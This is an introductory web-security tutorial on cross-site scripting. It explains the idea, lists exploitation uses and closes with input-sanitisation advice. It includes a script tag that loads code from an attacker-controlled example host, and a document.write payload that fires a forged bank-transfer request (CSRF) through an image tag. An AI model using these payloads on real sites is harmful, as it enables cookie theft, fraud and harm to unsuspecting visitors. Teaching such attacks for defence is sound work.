dropbox


This tutorial, its updates, and probably a comment app for it should be always up at houbysoft.com/v/en/papers/xss/.
[1. Basic Idea of XSS & a simple example]
[2. How it can be exploited]
[3. How to fix security vulnerabilities in your applications]

[1. Basic Idea of XSS]

Cross-site scripting, or XSS (it formerly was named CSS, but it was renamed due to the confusing with the other CSS - Cascading style sheets) can sound complicated, but it's not.
The basic idea is that in a vulnerable page, you can include your own javascript (or other) code, which then fetches other code from another site - usually a site that you control, of course. This is why it is called "cross-site" - the script "crosses" sites from your site to the compromised site.
Now let's look at an example. Let's say that we have a vulnerable page, vulnerable.com/guestbook.php. A malicious user, Heike, posts a "special" post, containing the following:
<script type="text/javascript" src="http://heikeswebsite.com/xss.js"></script>
If the page is vulnerable, then every person's who visit vulnerable.com/guestbook.php browser will fetch the file located at http://heikeswebsite.com/xss.js, and then execute the code in it.
In the next paragraph, I will show you what Heike could do.
[2. How it can be exploited]

There are many ways to exploit this vulnerability. Here are some examples:
* Making the webbrowser of the victim crash, or hang in a loop to annoy the user
* Defacing the whole site, by using the document.write function in javascript
* Stealing the visitors' cookies, and then using them for identity theft, information stealing (for example email passwords, billing information, etc)
* Mounting pretty powerful phishing attacks. This is pretty much one of the most widely used aspect of XSS - the classical scenario is that Heike sends an email to a user, telling him to click a link that points to a trusted website of the user - but containing Heike's XSS script. Then, Heike can overwrite the original page with his own, or redirect the user to another malicious page, and collect all the information that the user may post.
* Use Cross-site request forgery. This sounds hard but is very simple. Let's say that Heike knows that Sugafren, a user of the vulnerable.com/guestbook.php page, uses the online banking application of securebanking.com. Heike then does a little research on securebanking.com, and discovers that to transfer money, this type of
URL has to be used:
http(s)://securebanking.com/transfer.php?from=x&to=y&amount=z
Next, Heike creates an account for himself, and constructs this URL:
http://securebanking.com/transfer.php?from=sugafren&to=heike&amount=1000000.
After this, Heike can only direct Sugafren to the URL using for example the document.write function in JavaScript. So, Heike connects to his server, and pastes this code in xss.js:
document.write("<img src='http://securebanking.com/transfer.php?from=sugafren&to=heike&amount=1000000'>");

This code will write the HTML img tag pointing to the transfer page. Assuming that Sugafren is logged in to securebanking.com, he only has to visit the vulnerable.com/guestbook.php once, and 1.000.000 will be transfered to Heike's account. An advantage for Heike is that Sugafren will probably not notice anything (until he sees the bill) - because his browser will only display a broken image - because it won't understand the response of securebanking.com - but has been told (with the <img> tag) that the server will respond with an image.
This method could also be very "strong" if the securebanking.com site would allow to use for example "me" as the value of the from variable - because then, Heike could use a more general URL like:
http://securebanking.com/transfer.php?from=me&to=heike&amount=1000000
... and receive a million every time a user of securebanking.com that is logged in visits vulnerable.com/guestbook.php.
* Use a local bug to gain executing power over the computer of the users - and then the possibilities are huge - for example botnets, remote control, black mailing...
[3. How to fix security vulnerabilities in your applications]

The message is clear, same as for many other attacks... sanitize ANY input! It is so simple to do, yet a lot of people and underpaid programmers "forget" it. Also, it is always better to use a whitelist rather than a blacklist policy - because there are many ways to bypass blacklists - and most likely you will need to update the policy when new protocols will be created. So it is always better simply throwing out everything that isn't a-z,A-z,0-9, or anything else that suits your needs best.
Please mail any comments, suggestions and constructive criticism to admin at houbysoft (the dot) com.